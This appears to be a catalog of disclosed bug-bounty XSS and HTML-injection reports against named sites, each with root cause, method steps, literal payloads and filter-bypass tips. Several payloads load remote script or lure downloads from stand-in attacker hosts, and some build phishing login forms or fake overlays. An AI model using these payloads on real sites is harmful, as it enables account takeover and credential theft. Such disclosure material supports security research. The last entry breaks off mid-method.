HTML injection under strict CSP → open redirect + UI-redress phishing
◆ Medium
Specimen #1880896 · mozilla · 1000 · 18 votes · resolved
Program mozillaSurface webTag open-redirect
Root cause
The flowId parameter is reflected into the settings page unescaped for HTML; a strict CSP blocks JS execution, but HTML injection still enables a meta-refresh open redirect and injected phishing content requiring user interaction.
Method
- Reflect flowId with an unbalanced attribute break "> then inject HTML
- Use <meta http-equiv=refresh> for open redirect, or inject a fake download/lure for UI redressing
flowId="><meta http-equiv="refresh" content="1; http://COLLAB">
flowId=e587"><h1>Your machine needs to be analyzed... <a href="http://evil.tld/a.exe">Click here to Download</a></h1><!--
Insight — Even when CSP stops script execution, reflected HTML injection is still reportable: meta-refresh open redirect, script-less connect-src data exfil, and convincing in-origin UI-redressing/phishing. Don't discard HTML injection because alert() is blocked.
Real-world example
Reflected XSS via <>javascript: after tag-strip + chained redirect
◆ Medium
Specimen #196846 · starbucks · awarded · 18 votes · resolved
Program starbucksSurface webChain open redirect -> reflected XSSTag open-redirect
Root cause
A stripping routine removes <> from a reflected parameter and then feeds the remainder into a redirect/href, so <>javascript:... collapses into an executable javascript: URL.
Method
- Probe params with <>marker to spot stripping behaviour
- Supply <>//google.com to confirm open redirect
- Escalate to <>javascript:alert(document.cookie)
https://store.starbucks.com/<>javascript:alert(document.cookie);
https://shop.starbucks.de/coffee/coffee,de_DE,sc.html?prefn1=<>javascript:alert(1)
Insight — Site-wide reflection in the URL root/any GET param: when tags are stripped rather than encoded, test <>javascript: to survive the filter and land in an href/redirect sink.
Real-world example
DOM XSS via ad script injecting page URL into a JS single-quote string
◆ Medium
Specimen #889041 · urbandictionary · none · 18 votes · resolved
Program urbandictionarySurface web
Root cause
Third-party ad code (header bidding / displayCreative) writes the hosting page URL into a JS single-quoted string via document.write; a single quote in the URL (placed in the hash) escapes the string into executable JS.
Method
- Locate ad code that reflects location.href/loc into inline JS via document.write
- Put a quote-breaking payload in the URL fragment so it isn't sent to the server
- Reload until the vulnerable ad/creative loads
https://TARGET/define.php?term=#asdf'-alert(document.domain)-'asdf
Insight — Ad/analytics tags frequently inline the referring page URL; if it lands in a JS string, break out with ' and use the fragment (#) so a server-side WAF never sees the payload. Eval Villain helps trace which sink echoes the URL.
Real-world example
POST-based reflected XSS delivered via CSRF auto-submit form
◆ Medium
Specimen #1003433 · deptofdefense · none · 18 votes · resolved
Program deptofdefenseSurface webChain CSRF -> POST reflected XSS
Root cause
A parameter is reflected unescaped into the HTML response of a POST-only endpoint that has no CSRF token, so an attacker-hosted auto-submitting form makes an otherwise self/POST XSS a real cross-site attack.
Method
- Find reflected XSS in a POST parameter (comment/HTML-context)
- Confirm the endpoint lacks a CSRF token
- Host an auto-submitting HTML form that POSTs the payload
<form action="https://TARGET/WaterControl/shefgraph-historic.cfm" method=POST>
<input type=hidden name="fld_frompor" value='1"<!--><Svg OnLoad=(confirm)(1)<!--'>
<!-- ...other hidden fields... -->
</form>
<script>document.forms[0].submit()</script>
Insight — POST-only reflected XSS is fully exploitable whenever the endpoint lacks CSRF protection: wrap the payload in an auto-submitting form. SVG OnLoad + comment tokens (<!-->) break out of attribute/comment contexts.
Real-world example
SharePoint reflected XSS via SiteName param (CVE-2017-0255)
◆ Medium
Specimen #1794757 · deptofdefense · none · 18 votes · resolved
Program deptofdefenseSurface web
Root cause
SharePoint Server 2013 fails to sanitize the SiteName query parameter on Pages/default.aspx, reflecting it into a JS string context.
Method
- Identify a SharePoint 2013 instance
- Hit Pages/default.aspx with a SiteName payload that breaks a JS string
- Observe execution
https://TARGET/Pages/default.aspx?FollowSite=0&SiteName='-confirm('XSSALERT')-'
Insight — Fingerprint known-product reflected XSS: for SharePoint 2013, FollowSite/SiteName on default.aspx (CVE-2017-0255) uses the JS-string-break payload '-confirm(1)-'. Version-gate before deep testing.
Real-world example
Client-side XSS via allowlist substring-check bypass (javascript: in redirect param)
◆ Medium
Specimen #1518343 · evernote · awarded · 17 votes · resolved
Program evernoteSurface webTag open-redirect
Root cause
A client-side router sets window.location.href to a user-controlled param (ionUrl) after only checking that the allowed origin string appears somewhere in the value (indexOf !== -1), not that it is the prefix; a javascript: URI with a trailing comment satisfies the check.
Method
- Reverse the SPA JS to find a location.href = param sink
- Note the allowlist uses indexOf(baseUrl) not startsWith
- Set the routing param (view) to reach the vulnerable render function
- Supply javascript:payload//https://allowed-origin/
https://www.evernote.com/shard/s1/client/snv?view=after-save-note&ionUrl=javascript:alert(document.cookie)//https://www.evernote.com/
Insight — When an origin allowlist uses indexOf/includes rather than a real prefix/URL parse, defeat it by appending //allowed-origin/ as a JS comment after a javascript: URI; combine with the router param that reaches the sink.
Real-world example
Second-order reflected XSS via filename echoed in rename-error
◆ Medium
Specimen #896522 · nextcloud · awarded · 17 votes · resolved
Program nextcloudSurface web
Root cause
A stored filename containing HTML is later reflected unescaped into a client-side error message when any user attempts an invalid rename of that file (CVE-2021-22878).
Method
- Rename a file to an HTML-payload name ending .jpg
- Have a victim attempt to rename it with an invalid name (e.g. add a backslash)
- The error dialog reflects the filename and fires the payload (requires CSP bypass)
<img src=x onerror=prompt(1)>.jpg
Insight — Stored values that are otherwise safely rendered can become XSS when reflected into error/validation messages; test what happens on invalid operations against attacker-named objects.
Real-world example
DOM XSS: location query parsed into innerHTML (github-btn user param)
◆ Medium
Specimen #200753 · ui · awarded · 17 votes · resolved
Program uiSurface web
Root cause
A GitHub-button widget parses window.location.href query params itself and assigns a param (user) into element.innerHTML; the manual parser also reads params from the hash, so the payload can hide in the fragment.
Method
- Find the widget reading location.href and writing text.innerHTML = 'Follow @'+user
- Put user= after a # so it stays client-side
- For IE, force legacy mode with X-UA-Compatible IE=9 via an iframe wrapper
http://TARGET/github-btn.html?#&user=<script>alert(document.domain)</script>&type=follow
Insight — Standalone embeddable widgets (share/follow buttons) often hand-roll query parsing and sink into innerHTML; test both ?query and #hash. Also watch user-controlled segments used to build JSONP script src (path traversal into api.github.com).
Real-world example
Reflected markup injection in SVG endpoint color param (foreignObject phishing)
◆ Medium
Specimen #605915 · nextcloud · awarded · 17 votes · resolved
Program nextcloudSurface web
Root cause
A dynamic-SVG endpoint reflects the color parameter unescaped into SVG markup; the attacker breaks out of the attribute and injects SVG/HTML (foreignObject) - script is CSP-blocked but a phishing login form still renders (CVE-2020-8120).
Method
- Find an image endpoint that reflects a param into generated SVG (svg/core/logo/logo?color=)
- Break out of the fill/color attribute with "/>
- Inject <g onload> for XSS, or <foreignObject><form action=//evil> for phishing under a missing form-action CSP
index.php/svg/core/logo/logo?color=fff"/><foreignObject class="node" x="0" y="0" width="600" height="600"><div xmlns="http://www.w3.org/1999/xhtml"><form action="//evil.test"><input placeholder="Username"><input placeholder="Password" type="password"><input type="submit"></form></div></foreignObject><circle alt="
Insight — Dynamically generated SVG (logos, badges, charts) is an HTML sink: reflected params permit tag injection. Even when CSP blocks script, foreignObject lets you render a same-origin phishing form - especially when the CSP lacks form-action.
Real-world example
Desktop client cross-zone XSS via server-error reflection, file:// local exec
◆ Medium
Specimen #685552 · nextcloud · awarded · 17 votes · resolved
Program nextcloudSurface desktop
Root cause
The desktop (Windows) client renders the server's HTTP error response as HTML in a privileged local zone on the login/connect screen; injected markup executes and file:// anchors can launch local binaries (CVE-2020-8189).
Method
- Point the client's server-address field at an attacker-controlled URL returning an error (e.g. 403)
- Return HTML/markup in the error body
- Use a file:// anchor to launch a local executable
<A HREF="file:///C:/WINDOWS/system32/calc.exe">CALC.EXE</A>
Insight — Thick/Electron/Qt clients that echo raw server responses into an embedded webview run in a higher-privilege zone; test HTML in error bodies and escalate with file:// links and local-resource access.
Real-world example
Path-segment reflected XSS with onerror + backtick alert
◆ Medium
Specimen #872304 · deptofdefense · none · 17 votes · resolved
Program deptofdefenseSurface web
Root cause
A URL path segment is reflected unescaped into the response, allowing an event-handler payload; a backtick template-literal call avoids parentheses filters.
Method
- Inject the payload as a path segment rather than a query param
- Use onerror with a backtick-invoked alert to dodge ()/quote filtering
https://TARGET/(A('onerror="alert`1`"testabcd))/
Insight — Test path segments (not just query strings) as reflection points; alert`1` (tagged template) fires without parentheses, useful when ( ) or quotes are filtered.
Real-world example
Reflected XSS via JSONP callback param on .ftl endpoint
◆ Medium
Specimen #1147176 · mtn_group · none · 17 votes · resolved
Program mtn_groupSurface web
Root cause
A 'callback' (JSONP) parameter on a FreeMarker template endpoint is reflected into the HTML/JS response without encoding.
Method
- Find a JSONP-style endpoint taking a callback param
- Inject an HTML-breaking payload into callback
- Confirm script execution
http://target/wap/noauth/sharedetail.ftl?callback="><img src=x onerror=confirm(1)>&type=
Insight — callback/jsonp/return-url params are classic reflected-XSS sinks; always fuzz them with tag-breaking payloads, especially on template (.ftl/.jsp) endpoints.
Real-world example
Reflected XSS in admin search field (Revive banner-zone)
◆ Medium
Specimen #3403727 · revive_adserver · none · 17 votes · resolved
Program revive_adserverSurface web
Root cause
User input from the Banner 'Website' search field is reflected into the admin page without context-aware output encoding.
Method
- Log into Revive admin
- Open a Banner -> Linked Zones
- Enter payload in the 'Website' search field
'><script>alert(1)</script>
Insight — Admin search/filter fields are frequently unescaped; even admin-only reflected XSS is impactful (session theft, forced admin actions) and often CVE-worthy in self-hosted apps.
Real-world example
HTML/class-attribute injection for pixel-perfect phishing overlay
◆ Medium
Specimen #351376 · reverb · awarded · 16 votes · resolved
Program reverbSurface webTag account-takeover
Root cause
Search reflects raw HTML tags and preserves attacker-supplied class attributes even though <script> is filtered, so an attacker reuses the site's own CSS classes to render a convincing fake login/'account locked' modal for credential phishing.
Method
- Confirm the reflection renders arbitrary tags/attributes (even if JS is stripped).
- Inspect the site's CSS class names for modals/buttons/overlays.
- Inject markup using those classes to build a native-looking login box linking to your phishing/redirect endpoint.
<span class="fancybox-skin fancybox-opened"><div class="registration signup-login-container"><h4 class="session-form__header">Log In to Reverb</h4><h1>Your account has been disabled</h1><a href="http://ATTACKER"><span class="btn button button--orange button--wide">Unlock</span></a></div></span>
Insight — Even when script execution is blocked, HTML injection that keeps class/style is high-impact: reuse the target's own design system to forge trusted UI (login prompts, 'session expired' modals). Report as phishing/UI-redress, not just 'informative'.
Real-world example
postMessage without origin check -> cookie read/write via Google Analytics
◆ Medium
Specimen #1081167 · shopify · USD 1600 · 16 votes · resolved
Program shopifySurface webChain postMessage origin flaw -> ga primitive -> arbitrary cTag webhook
Root cause
A checkout->shop postMessage proxy handler processes {type:'analytics',calls:[...]} events without validating event.origin, giving any page a primitive to call arbitrary functions/args on the global ga object.
Method
- Open the target shop checkout in a popup/iframe
- postMessage {type:'analytics', calls:[...]} with '*' target
- Use ga('create',{cookieName:'injected=v;'}) to write arbitrary cookies (unescaped document.cookie concat)
- Register attacker GA tracker + linkid plugin cookieName to exfiltrate any readable cookie value
win.frames[0].postMessage({"type":"analytics","calls":[["send","pageview"]]}, "*");
// cookie write:
ga("create",{name:"pwn",trackingId:"UA-XXX",cookieName:"injectedCookie=value;"});
// cookie read:
ga("require","linkid",{cookieName:"pwn"}); ga("send","pageview");
Insight — Any window 'message' listener that acts on data without checking event.origin is exploitable; even a non-JS-exec primitive (function calls on ga) escalates to arbitrary cookie read/write and CSRF-cookie forgery through library internals (document.cookie concat, custom cookieName).
Real-world example
Stored XSS via user-controlled field rendered to higher-priv users
◆ Medium
Specimen #267177 · shopify · USD 500 · 16 votes · resolved
Program shopifySurface webChain low-priv staff -> stored payload -> fires in admin/ownTag account-takeover
Root cause
A user-supplied text field (here the invited-member email) is stored and later rendered unescaped on a page viewed by other/admin users; server-side validation of the field's format is missing so tag payloads persist.
Method
- As a low-priv user with 'manage members', invite a member using an XSS payload as the email
- Even though the invite errors, the value is stored
- Any team member/owner who opens the invitation page executes the script
<svg/onload=alert(document.cookie)>abcdef@test.com
Insight — Profile/name/email/custom-attribute/settings fields are the top stored-XSS surface; a low-privilege actor can plant a payload that fires in an admin/other-tenant context. Always test whether staff-controlled fields render unescaped to admins.
Real-world example
Reflected XSS in OIDC prompt 'base' param + clickjacking assist
◆ Medium
Specimen #354686 · uber · USD 500 · 16 votes · resolved
Program uberSurface webChain reflected XSS + clickjacking to guarantee trigger
Root cause
The 'base' parameter of /oidauth/prompt is reflected into the page body without sanitization across many internal subdomains; the page is also framable, so clickjacking supplies the click needed to trigger.
Method
- Identify /oidauth/prompt endpoints across *.uberinternal.com subdomains
- Inject payload into the base parameter
- Where a click is required, frame the page and overlay to force the click (clickjacking)
https://target/oidauth/prompt?base=<XSS payload>
Insight — Shared SSO/OIDC prompt endpoints replicate the same reflected sink across dozens of subdomains - test one, then sweep the pattern. Combine with clickjacking when the XSS needs user interaction.
Real-world example
Reflected XSS via search param using a context-breaking polyglot
◆ Medium
Specimen #222040 · wordpress · awarded · 16 votes · resolved
Program wordpressSurface web
Root cause
The theme search 's' parameter is reflected without adequate encoding; a polyglot payload survives multiple contexts (comment, script, attribute) and executes.
Method
- Inject the polyglot into ?s=
- Payload closes any surrounding comment/script/attr context and fires via an Image srcset/onerror
/themes/?s=1<!'/*"/*\'/*\"/*--></Script><Image Srcset=K */; Onerror=confirm`1` //>#
Insight — Keep a battle-tested XSS polyglot on hand for reflected-injection triage; it fires regardless of the exact reflection context and quickly proves exploitability on search/query params.
Real-world example
DOM XSS bypassing a regex-based HTML stripper
◆ Medium
Specimen #247246 · grab · awarded · 16 votes · resolved
Program grabSurface web
Root cause
A client-side stripHtml() uses a regex (/<\/?\w+[^>]*\/?>/g) to remove tags before assigning to innerHTML; a malformed tag that the regex doesn't match survives and is parsed by the browser as HTML.
Method
- Find the reflected client-side param (?xss=) feeding innerHTML after stripHtml()
- Craft a malformed tag the tag-regex won't match but the browser will normalize
- Confirm execution
https://www.grab.com/sg/partnerships/?xss=<<a/:<"a">img src=# onerror=confirm('XSSED')>
Insight — Regex-based tag stripping is bypassable - browsers repair malformed markup that a \w+-anchored regex ignores. Treat any custom stripHtml/sanitizer regex as broken and fuzz with nested/malformed tags.
Real-world example
Stored XSS via Markdown SVG <animate> xlink:href bypass
◆ Medium
Specimen #271007 · automattic · awarded · 16 votes · resolved
Program automatticSurface web
Root cause
The Markdown renderer allows SVG; an SVG <a> whose xlink:href is set at runtime by <animate attributeName=xlink:href from=javascript:...> bypasses static href sanitization to run script on click.
Method
- Create a Markdown note, insert the SVG animate payload
- Publish the note
- Open the published URL and click the SVG shape to fire javascript: via the animated xlink:href
<div id="137"><svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href" begin="0" from="javascript:alert(document.domain)" to="&" />
</a>//["'`-->]]>]</div>
Insight — When SVG is permitted, static href/attribute filters miss SMIL <animate>/<set> that mutate xlink:href/href to javascript: at runtime - a known DOMPurify-class bypass worth trying against any markdown/rich-text sanitizer.
Real-world example
Raw QUERY_STRING reflected into inline <script> (Revive afr.php)
◆ Medium
Specimen #775693 · revive_adserver · none · 16 votes · resolved
Program revive_adserverSurface web
Root cause
afr.php assigns $_SERVER['QUERY_STRING'] (unencoded) into $dest and prints it into an inline <script> setTimeout(...) string, so attacker query content breaks out of the JS string and executes.
Method
- Request afr.php with a query string that closes the setTimeout string literal
- Inject JS after the break-out
- First fix (encoding) bypassed by simply closing the <script> tag and opening a new one
# original (CVE-2020-8115), break out of setTimeout string:
curl "target/www/delivery/afr.php?refresh=10000&\")',10000000);alert(1);setTimeout('alert(\""
# fix bypass (CVE-2021-22872), close the script tag:
curl "target/www/delivery/afr.php?refresh=10000&</script><script>alert(1)</script>"
Insight — Reflecting the raw QUERY_STRING (vs individual, encoded params) into an inline script is a reliable XSS sink; and when a program 'fixes' JS-string escaping, retest by closing the enclosing </script> tag entirely.
Real-world example
Reflected XSS via X-Forwarded-Host header
◆ Medium
Specimen #882220 · deptofdefense · none · 16 votes · resolved
Program deptofdefenseSurface web
Root cause
The application reflects the X-Forwarded-Host request header into the HTML response (e.g. building absolute URLs) without encoding, allowing header-based reflected XSS.
Method
- Send a request setting X-Forwarded-Host to an HTML-breaking value
- Observe the header reflected into the response and script execution
X-Forwarded-Host: foo"><script src=//attacker.example/2.js></script><x=".com
Insight — Test host-family headers (Host, X-Forwarded-Host, X-Host, X-Forwarded-Server) for reflection into HTML/links - a common blind spot since the value isn't in the URL. Pairs with cache poisoning to make it deliverable.
Real-world example
Reflected XSS in POST body field delivered via text/plain CSRF form
◆ Medium
Specimen #924851 · mtn_group · none · 16 votes · resolved
Program mtn_groupSurface web
Root cause
A POST endpoint (faq-helpful.php) reflects a request body field unsanitized; because it accepts the body without CSRF protection, an auto-submitting cross-site form with enctype=text/plain smuggles the JSON payload and delivers the reflected XSS.
Method
- Build an HTML form action=faq-helpful.php method=POST enctype=text/plain
- Encode the JSON payload across input name/value so text/plain reconstructs it
- Include an svg onload payload in a field
- Auto-submit to reflect and execute in the victim
<form action="https://developers.mtn.com/sites/all/themes/mtn/helpers/faq-helpful.php" method="POST" enctype="text/plain">
<input name='{"title":"..","helpful":"false<svg onload' value='alert(1)>"}' />
</form>
Insight — Reflected XSS in POST-only params is still deliverable cross-site: use an auto-submitting form with enctype=text/plain to forge a JSON body and land the payload. Don't dismiss POST-body reflections as non-exploitable.
Real-world example
Reflected XSS on CA SiteMinder form via unicode-escaped payload
◆ Medium
Specimen #1363001 · tennessee-valley-authority · none · 16 votes · resolved
Program tennessee-valley-authoritySurface web
Root cause
A CA SiteMinder password-services form (smpwservices.fcc) reflects the USERNAME parameter without encoding; a unicode-escaped (\u003c...) payload bypasses naive filtering and executes.
Method
- Locate a SiteMinder /siteminderagent/forms/*.fcc endpoint
- Inject into USERNAME (and SMAUTHREASON)
- Use \u003cimg ...\u003e unicode escapes if literal < is filtered
https://target/siteminderagent/forms/smpwservices.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7
Insight — CA SiteMinder *.fcc login/password forms are a recurring reflected-XSS pattern (USERNAME/target/SMAUTHREASON params); and unicode \uXXXX escaping is a handy filter bypass when angle brackets are blocked but later decoded.
Real-world example
Reflected XSS via attribute breakout using accesskey+onclick
◆ Medium
Specimen #1814335 · deptofdefense · none · 16 votes · resolved
Program deptofdefenseSurface web
Root cause
User input reflected inside an HTML attribute value without encoding; injecting a closing quote lets you add new attributes. When onclick/onmouseover may be filtered or need no interaction, accesskey defines a keyboard shortcut that fires the injected event handler.
Method
- Find a POST field reflected into an element attribute (here prefixRank on customer.cfm)
- Break out of the attribute with a double-quote
- Add accesskey="x" plus an event handler so the payload fires on the assigned key
- Comment/pad the tail to keep markup valid
prefixRank=ryp3i"accesskey="x"onclick="alert(1)"//opk15
(URL-encoded: ryp3i%22accesskey%3d%22x%22onclick%3d%22alert(1)%22%2f%2fopk15)
Insight — When breaking out of an attribute, accesskey= turns a passive onclick into a keypress-triggered XSS, useful where automatic-fire handlers are stripped. Always test attribute-context reflection with a quote first.
Real-world example
Rails HTML sanitizer bypass via select+style tag combination
◆ Medium
Specimen #1805893 · ibb · 2400 · 15 votes · resolved
Program ibbSurface web
Root cause
HTML sanitizer allowlist mutation-XSS: when both <select> and <style> are allowed, the parser mis-nests content so a <script> inside <style> inside <select> survives sanitization and executes. The fix (remove_safelist_tag_combinations) was applied only to per-call options, not to the class-level allowed_tags, so apps overriding tags via config remained vulnerable.
Method
- Confirm app overrides sanitizer allowed_tags to include both 'select' and 'style' (via config.action_view.sanitized_allowed_tags or SafeListSanitizer.allowed_tags=)
- Submit payload through a sanitize() sink
- Parser reinterpretation smuggles the script tag past the safelist
<select><style><script>alert("XSS")</script></style></select>
Insight — Sanitizer bypasses often live in tag-combination mutation parsing (select/style/noscript/svg/math). When auditing a sanitizer, diff the fix commit: incomplete fixes frequently patch one input path (method arg) but miss the class-attribute/config path.
Real-world example
Stored XSS via product name triggered on delete action
◆ Medium
Specimen #1425882 · judgeme · 500 · 15 votes · resolved
Program judgemeSurface web
Root cause
A product name set in an upstream system (Shopify) is stored and later rendered unencoded in a third-party app view — including the delete-confirmation flow — allowing stored XSS across app boundaries.
Method
- In Shopify admin create a product whose name is an img/onerror payload (mix raw and HTML-entity-encoded copies)
- Open the Judge.me AliExpress Review Importer/Products view
- Delete the product
- Payload executes in the importer UI
"><"><img src=x onerror=prompt(document.domain)> img src=x onerror=prompt(document.domain)>
Insight — Data crosses trust boundaries: a name entered in platform A (Shopify) renders in integration B (Judge.me). Test app views that consume external/imported data, and specifically the delete/confirm screens which are often forgotten during encoding.
Real-world example
javascript: URI in href param + URL-validator bypass
◆ Medium
Specimen #196221 · instacart · 100 · 15 votes · resolved
Program instacartSurface web
Root cause
A user-supplied URL (recipe_url) is placed into an anchor href without scheme validation, so javascript: executes on click. A later filter that requires an http(s) URL is bypassed by appending a legitimate URL as a comment.
Method
- Find a param reflected into href (recipe_url)
- Set it to javascript:alert(1)
- If a validator now requires a real URL, append //https://example.com to satisfy it while keeping the javascript: payload live
javascript:alert(1)
Bypass: javascript:alert(1)//https://example.com
Insight — Any param that becomes a clickable href is a javascript:-URI sink. When the fix only checks that the value 'contains a URL', append //validurl (JS line comment) to keep the pseudo-protocol payload. Same primitive appears in app 'website' fields and admin 'custom domain' fields.
Real-world example
github-btn.html DOM XSS via user param + JSONP path traversal
◆ Medium
Specimen #200826 · algolia · 100 · 15 votes · resolved
Program algoliaSurface web
Root cause
The embeddable GitHub button widget parses location query params by hand and writes the user param into innerHTML (text.innerHTML = 'Follow @'+user). It also builds a JSONP script src from user/repo, allowing path traversal to arbitrary GitHub API endpoints.
Method
- Load github-btn.html?#&user=<payload>&type=follow so user is written to innerHTML
- For legacy IE, wrap in an iframe and force X-UA-Compatible IE=9 so <script> in innerHTML executes
- Alternatively abuse user=../../endpoint to redirect the JSONP script src
https://github.algolia.com/github-btn.html?#&user=<h1><marquee>HTML&type=follow
IE (X-UA-Compatible): <meta http-equiv="X-UA-Compatible" content="IE=9"><iframe src='https://github.algolia.com/github-btn.html?#&user=x<script>alert(document.cookie)</script>&type=follow'>
JSONP traversal: ?#&user=../../another/endpoint&repo=../../another/endpoint&type=fork
Insight — Widely-embedded third-party widgets (github-btn.html, share buttons) that read window.location and use innerHTML/JSONP are recurring DOM-XSS sinks. Forcing legacy IE rendering via X-UA-Compatible can revive innerHTML-script execution.
Real-world example
Reflected XSS via client-side template rendering redirect_uri into href
◆ Medium
Specimen #143220 · mapbox · awarded · 15 votes · resolved
Program mapboxSurface webTag oauth
Root cause
A client-side (underscore/ERB-style) template renders a URL param (redirect_uri) into an anchor href with <%= %> (unescaped interpolation) when client_id is omitted, allowing attribute breakout and tag injection.
Method
- Request the authorize endpoint without client_id so the 'unauthorized' modal template renders
- Supply redirect_uri that closes the href attribute and injects a tag
- Load in browser to fire
https://www.mapbox.com/authorize/?redirect_uri='><svg onload='alert(document.domain)'>
Insight — OAuth/authorize error templates frequently reflect redirect_uri. Client-side templating with <%= %> (vs <%- %>/escaped) is a reflected-XSS sink; omitting required params to reach error/fallback templates opens new reflection surfaces.
Real-world example
Reflected XSS in inline-script JS string context
◆ Medium
Specimen #190798 · starbucks · awarded · 15 votes · resolved
Program starbucksSurface webChain Reflected XSS -> open redirect via window.location=uri
Root cause
A URL param (LocaleID) is reflected inside an inline <script> string literal (var uri='...') without JS-escaping. A single quote closes the string and injects arbitrary JavaScript directly into the executing context.
Method
- Identify the param reflected inside a <script> var (view source)
- Inject '; to close the string and start your statements, then // to comment the remainder
- Preserve any required suffix (here _CA) so surrounding code still parses
LocaleID=eas';alert(document.cookie);//an_CA
(request) GET /...Locale-Change?LocaleID=eas';alert(1);//dasdsan_CA
Insight — JS-string-context reflection needs only a quote + semicolon, no tags — HTML entity encoding won't save it. Grep the response for your canary inside <script>. Same sink also yields an open redirect (window.location = uri).
Real-world example
DOM XSS: URL param used as script src
◆ Medium
Specimen #209736 · starbucks · awarded · 15 votes · resolved
Program starbucksSurface webChain DOM XSS -> steal customer account data / account takeoverTag account-takeover
Root cause
Client JS (PowerReviews full.js) builds a <script> src by concatenating a URL param (pr_zip_location) into a path, so a protocol-relative value causes the page to load and execute arbitrary attacker-hosted JavaScript in the site's origin.
Method
- Find the param concatenated into a script src (var DR = Z(DS)+'/content/'+...)
- Set it to a protocol-relative URL pointing at your JS host
- Load the page; arbitrary JS runs in-origin
?pr_zip_location=//whitehat-hacker.com/xss.j?
// causes: <script src=//whitehat-hacker.com/xss.j?/content/...>
Insight — Params that feed into script src / import() / jsonp URLs are full-JS-execution DOM sinks (worse than innerHTML). Protocol-relative // makes your host the origin of the loaded script. Escalates to account takeover via CSRF-token theft.
Real-world example
Stored XSS via unescaped Template Name / file description in wp-admin
◆ Medium
Specimen #220903 · wordpress · awarded · 15 votes · resolved
Program wordpressSurface web
Root cause
wp-admin/theme-editor.php echoes $file_description / $description (derived from a theme file's 'Template Name:' comment header) without htmlspecialchars(), so a script placed in a file comment executes in the admin's browser.
Method
- Edit an editable theme file (one without a predefined name)
- Add a comment header: /* Template Name: <script>...</script> */
- Update the file; opening the editor renders the description and fires the payload
/* Template Name: <script>confirm(document.cookie);</script> */
Insight — File metadata parsed and displayed in admin UIs (template names, plugin headers, descriptions) is an under-escaped stored-XSS surface. Look for get_file_description()-style parsing echoed without escaping.
Real-world example
Stored XSS via javascript: in domain fields + dedup-check bypass
◆ Medium
Specimen #245172 · gsa_bbp · awarded · 15 votes · resolved
Program gsa_bbpSurface web
Root cause
Admin 'Custom Domain' / 'Demo domain' fields are stored and rendered into an href without scheme validation, so javascript: executes on the 'View Website' click. A uniqueness check that forbids identical values is bypassed by appending a trailing semicolon.
Method
- Set Custom Domain to javascript:alert(document.domain)
- Set Demo domain to the same payload plus a trailing ; to defeat the 'must differ' check
- Save and click View Website / view published site to fire both stored payloads
javascript:alert(document.domain)
javascript:alert(document.domain); // trailing ; to pass the uniqueness check
Insight — Config/domain fields that become clickable links are javascript:-URI sinks even in admin panels (admin-to-admin stored XSS). Trivial validation (uniqueness/format) is bypassed with semicolons, whitespace, or //comments while keeping the payload live.
Real-world example
Reflected HTML injection for branded fake-login content spoofing
◆ Medium
Specimen #353293 · reverb · awarded · 15 votes · resolved
Program reverbSurface webTag spoofing-phishing
Root cause
A search query param is reflected allowing arbitrary HTML tags with class attributes (script blocked but markup + site CSS classes permitted), letting an attacker render a convincing on-domain fake 'account locked / log in' prompt linking to an external site.
Method
- Find a query param that renders raw HTML tags (even if <script> is filtered)
- Inject spans/anchors using the site's own CSS classes to build an authentic-looking alert
- Point the crafted button at an attacker URL to harvest credentials
?query=<span class="bottom-alert videos-header"><strong>Log In to Reverb</strong><br><code>Your account has been locked...</code><br><a href="http://badwebsite.com"><span class="btn button button--orange button--wide">Unlock</span></a></span>
Insight — Even when script is filtered, HTML injection that reuses the app's CSS classes = high-impact phishing/content spoofing on a trusted origin. Report it with the credential-harvest scenario, not as 'just HTML injection'.
Real-world example
Reflected XSS: input value-attribute breakout with comment-close + SVG
◆ Medium
Specimen #382321 · khanacademy · none · 15 votes · resolved
Program khanacademySurface web
Root cause
A search field (page_search_query, POST) is reflected into an input's value attribute unencoded; breaking out of the quoted value and using an HTML comment close plus an SVG/OnLoad handler executes script.
Method
- Submit the search POST param with a leading quote to close the value attribute
- Use --!> to close any comment/context and start a fresh tag
- Inject <Svg/OnLoad=...> with slash separators and (confirm)(/xss/) to dodge naive filters
""--!><Svg/OnLoad=(confirm)(/xss/)>
Insight — input value= reflection is a top reflected-XSS sink; test with a quote. Mixed-case tags, / as tag/attr separator, --!> comment close, and (confirm)(/xss/) (no quotes/paruns-around) are compact filter-evasion building blocks. POST reflections are easy to miss — fuzz POST params too.
Real-world example
Stored XSS via unsanitized ID echoed in an error dialog (GET-delivered)
◆ Medium
Specimen #450315 · deptofdefense · none · 15 votes · resolved
Program deptofdefenseSurface webChain stored XSS -> CSRF-token theft / account takeoverTag account-takeover
Root cause
A GET action (delete alert by ID) that fails ownership checks echoes the supplied ID into an error dialog without sanitization, and the message is persisted, so the payload is stored and later renders for the victim — appears reflected but is actually stored.
Method
- Call the action with a non-owned ID containing an img/onerror payload in the path
- The error dialog stores and later displays the unsanitized ID
- Lure the victim to any page that shows the stored error dialog
https://TARGET/alerts/delete/id/1234<img src onerror='alert(1)'>
Insight — Error/notification dialogs that echo attacker-controlled identifiers are XSS sinks, and if the message is persisted server-side a GET can become STORED XSS. Always verify whether a 'reflected' payload actually persists across sessions/pages.
Real-world example
WordPress plugin reflected XSS via param echoed in printf href (CSRF-delivered)
◆ Medium
Specimen #495515 · wordpress · awarded · 15 votes · resolved
Program wordpressSurface webChain CSRF -> reflected XSS -> admin actions (create admin u
Root cause
The Taxonomy Converter plugin echoes the tax parameter into an error-message anchor via printf without esc_url/escaping, giving reflected XSS. Because the sink is a POST admin endpoint, it is delivered via an auto-submitting cross-site form (CSRF+XSS).
Method
- Build an auto-submit HTML form POSTing to admin.php?import=wptaxconvert&tax=<payload>&step=2
- Payload closes the href attribute and injects an img/onerror
- Victim admin visiting the page triggers the request and XSS
tax=categoryx'"><img src=x onerror=alert(1)>
// echoed into: <a href="admin.php?...&tax=categoryx'"><img src=x onerror=alert(1)>">try again</a>
Insight — WordPress plugins are a rich reflected-XSS pool: grep for params echoed via echo/printf without esc_html/esc_url. When the sink is POST-only, chain a CSRF auto-submit form to deliver it; an admin victim yields full site takeover.
Real-world example
DOM XSS in WordPress theme search.js via ?s= parameter
◆ Medium
Specimen #708592 · deptofdefense · none · 15 votes · resolved
Program deptofdefenseSurface webChain DOM XSS -> CSRF-token theft / account takeoverTag account-takeover
Root cause
A theme's search.js reads the s search parameter from the URL and appends it into the DOM without escaping the single quote, producing DOM-based XSS on /?s=.
Method
- Load /?s= with a quote-breaking payload
- search.js concatenates it into markup unsanitized
